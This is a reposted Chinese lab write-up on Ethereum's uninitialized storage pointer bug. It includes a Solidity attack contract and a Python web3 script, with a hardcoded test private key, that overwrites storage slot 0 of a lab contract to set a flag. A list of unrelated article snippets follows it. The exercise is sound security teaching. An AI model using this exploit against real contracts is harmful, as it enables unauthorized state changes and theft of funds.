某60区块链安全之未初始化的存储指针实战一学习记录

区块链安全

文章目录

  • 区块链安全
  • 未初始化的存储指针实战一
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验过程

未初始化的存储指针实战一

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时,必须明确指明其位置在storage还是memory中。
在函数内部,mapping类型则不能作为临时变量使用,只能作为某个状态变量的”储存指针”,也就是mapping类型必须在编译时进行预先初始化,而不能作为运动时产生的数据。如果智能合约函数声明了临时的动态数组或者sturct,而没有指定“位置”,且没有进行初始化,那么这些变量将默认存储在storage。
未初始化的存储指针是指在 EVM 中未进行初始化的 storage 变量,这个变量会指向其他变量的区域,从而更改其他变量的值。
实验内容
合约中内置了结构体未初始化的存储指针问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10007

实验过程

获取合约地址和合约源代码
nc ip 10007连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述

nc ip 10007连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10007连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求将合约中的flag变量设置为true,分析代码,并未见到直接可将flag设置为true的代码
在这里插入图片描述

典型的利用 struct 默认是 storage 的题目,struct在函数中未明确指明是memory变量,则其是storage变量,声明的变量默认从slot 0开始存储
函数中声明的 newRecord 结构体修改 name 和 mappedAddress 实际分别改的是 unlocked 和 bytes32 name
所以把 name 对应的 slot 0 的值改成 1 就行了
EXP利用
编写第三方攻击合约attack.sol,将下述ETH7地址换成自己题目合约的地址,调用目标合约的register(1, tx.origin)
pragma solidity ^0.4.23;

contract hack {
ETH7 target = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);
constructor() public {
target.register(1, tx.origin);
}
}
在这里插入图片描述

用python编写自动化exp,功能包括部署攻击合约得到攻击合约地址,在攻击合约的构造函数中完成攻击

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)

执行exp
在这里插入图片描述

nc ip 10007连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/165020.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习之八(生成对抗网络--Generative Adversarial Networks,GANs)

概念 生成对抗网络(Generative Adversarial Networks, GANs)是一种深度学习模型,由 Ian Goodfellow 等人于2014年提出。GAN 的目标是通过训练两个神经网络(生成器和判别器),使得生成器能够生成与真实数据相似的样本,而判别器能够区分真实样本和生成样本。这两个网络相…

多元逻辑回归模型的概念、模型检验以及应用

多元逻辑回归是逻辑回归的一种扩展&#xff0c;用于处理多类别分类问题。在二元逻辑回归中&#xff0c;我们通过一个逻辑函数&#xff08;也称为S形函数&#xff09;将输入特征映射到一个概率值&#xff0c;用于预测两个类别中一个的概率。而在多元逻辑回归中&#xff0c;我们面…

沃趣班11月月考题目解析

沃趣班11月月考题目解析 1.在oracle中创建用户时&#xff0c;若未设置default tablespace关键字&#xff0c;则oracle将哪个表空间分配给用户作为默认表空间 答案&#xff1a;D.user SQL> create user mytest identified by 123456; SQL> grant connect to mytest; SQL…

【开源】基于Vue.js的海南旅游景点推荐系统的设计和实现

项目编号&#xff1a; S 023 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S023&#xff0c;文末获取源码。} 项目编号&#xff1a;S023&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用户端2.2 管理员端 三、系统展示四…

CSS特效017:球体涨水的效果

CSS常用示例100专栏目录 本专栏记录的是经常使用的CSS示例与技巧&#xff0c;主要包含CSS布局&#xff0c;CSS特效&#xff0c;CSS花边信息三部分内容。其中CSS布局主要是列出一些常用的CSS布局信息点&#xff0c;CSS特效主要是一些动画示例&#xff0c;CSS花边是描述了一些CSS…

前端错误处理与调试

** javascript错误处理 ** 由于javascript本身是动态语言&#xff0c;而且没有固定的开发工具&#xff0c;因此他普遍认为是最难以调试的语言&#xff0c;在ECMAScript3新增了try-catch和throw以及一些错误类型&#xff0c;让开发人员能适当的处理错误&#xff0c;紧接着web浏…

多tab页表单校验如何做

多tab页表单校验如何做 在多tab页表单中进行校验&#xff0c;可以按照以下步骤进行&#xff1a; 创建一个表单对象&#xff0c;用于存储表单数据和校验规则。 分为多个tab页&#xff0c;每个tab页对应一个表单页面。 定义每个tab页中的表单字段及其相应的校验规则。 在切换…

PHP 赋值、算数和比较运算符 学习资料

PHP 赋值、算数和比较运算符 在 PHP 中&#xff0c;赋值、算数和比较运算符用于对变量进行赋值、进行数学运算和比较操作。以下是对这些运算符的介绍和示例&#xff1a; 赋值运算符 赋值运算符用于给变量赋值。常用的赋值运算符有 、、-、*、/ 等。 示例&#xff1a; $a …

芯能转债上市价格预测

芯能转债-113679 基本信息 转债名称&#xff1a;芯能转债&#xff0c;评级&#xff1a;AA-&#xff0c;发行规模&#xff1a;8.8亿元。 正股名称&#xff1a;芯能科技&#xff0c;今日收盘价&#xff1a;12.63元&#xff0c;转股价格&#xff1a;13.1元。 当前转股价值 转债面…

基于遗传优化的多属性判决5G-Wifi网络切换算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MATLAB2022a 3.部分核心程序 .......................................................................... %接收功率、网…

数字孪生智慧校园 Web 3D 可视化监测

当今&#xff0c;智慧校园发展阶段亟需推动信息可视化建设与发展&#xff0c;将大数据、云计算、可视化等高新技术相融合&#xff0c;为校园师生创造科学智能的学习环境&#xff0c;并实现教学资源最大化和信息服务智能化。帮助学校更好地应用校园可视化技术&#xff0c;提升校…

原型模式 (Prototype Pattern)

定义&#xff1a; 原型模式&#xff08;Prototype Pattern&#xff09;是一种创建型设计模式&#xff0c;它用于创建重复的对象&#xff0c;同时保持性能。这种模式的核心思想是通过复制一个已存在的实例来创建新的实例&#xff0c;而不是新建实例并对其进行初始化。原型模式适…

jetson xavier NX深度学习环境配置

文章目录 jetson xavier NX深度学习环境配置1. SD卡系统烧录1.1 材料1.2 软件配置1.3 格式化SD卡1.4 系统镜像烧录 2. 环境配置2.1 cuda环境配置2.2 安装依赖库2.3 安装python及依赖环境2.4 安装pytorch环境 jetson xavier NX深度学习环境配置 1. SD卡系统烧录 1.1 材料 SD …

面试题 —— 前端精选(1)

文章目录 前言 阐述 JS 的事件循环 JS 中的计时器能做到精确计时吗&#xff1f;为什么&#xff1f; 如何理解 JS 的异步&#xff1f; 前言 本文章介绍三道围绕 JavaScript 的精选面试题 阐述 JS 的事件循环 事件循环⼜叫做消息循环&#xff0c;是浏览器渲染主线程的⼯作⽅式…

CentOS虚拟机重置账号密码

虚拟机忘记密码了 一般来说&#xff0c;虚拟机的账号密码&#xff0c;工作中都会有文档记录&#xff0c;如果忘记了可以查看文档。但是也有特例&#xff0c;虚拟机的密码没有记录到文档中&#xff0c;尝试了很多次依然登录失败&#xff0c;这时候就只能重置账号密码了。 1.重…

upload-labs关卡13(基于白名单的0x00截断绕过)通关思路

文章目录 前言一、回顾上一关知识点二、靶场第十三关通关思路1、看源代码2、bp进行0x00截断绕过3、蚁剑连接 总结 前言 此文章只用于学习和反思巩固文件上传漏洞知识&#xff0c;禁止用于做非法攻击。注意靶场是可以练习的平台&#xff0c;不能随意去尚未授权的网站做渗透测试…

nginx中proxy_pass的配置

Nginx的官网将proxy_pass分为两种类型&#xff1a; 不带URI方式&#xff1a;只包含IP和端口号的&#xff0c;不带uri&#xff08;单个/也算uri&#xff09;&#xff0c;比如proxy_pass http://localhost:8080&#xff1b;带URI方式&#xff1a;在端口号之后有其他路径的&#…

思维模型 潘多拉效应

本系列文章 主要是 分享 思维模型 &#xff0c;涉及各个领域&#xff0c;重在提升认知。越是禁止&#xff0c;越是好奇。 1 潘多拉效应的应用 1.1 潘多拉效应在管理中的应用 通用电气公司曾经推出了一项名为“六西格玛”的管理方法&#xff0c;该方法旨在通过优化业务流程和提…

Linux终端和命令行

文章目录 学习Linux终端和命令行一、常用Linux命令的基本使用&#xff08;一&#xff09;放大/缩小终端窗口的字体显示&#xff08;二&#xff09;自动补全 二、软件安装三、文件和目录常用命令&#xff08;一&#xff09;ls&#xff1a;查看目录内容1.ls命令说明2.Linux下文件…

Peter算法小课堂—前缀和数组的应用

桶 相当于计数排序&#xff0c;看一个视频 桶排序 太戈编程1620题 算法解析 #include <bits/stdc.h> using namespace std; const int R11; int cnt[R];//cnt[t]代表第t天新增几人 int s[R];//s[]数组是cnt[]数组的前缀和数组 int n,t; int main(){cin>>n;for(…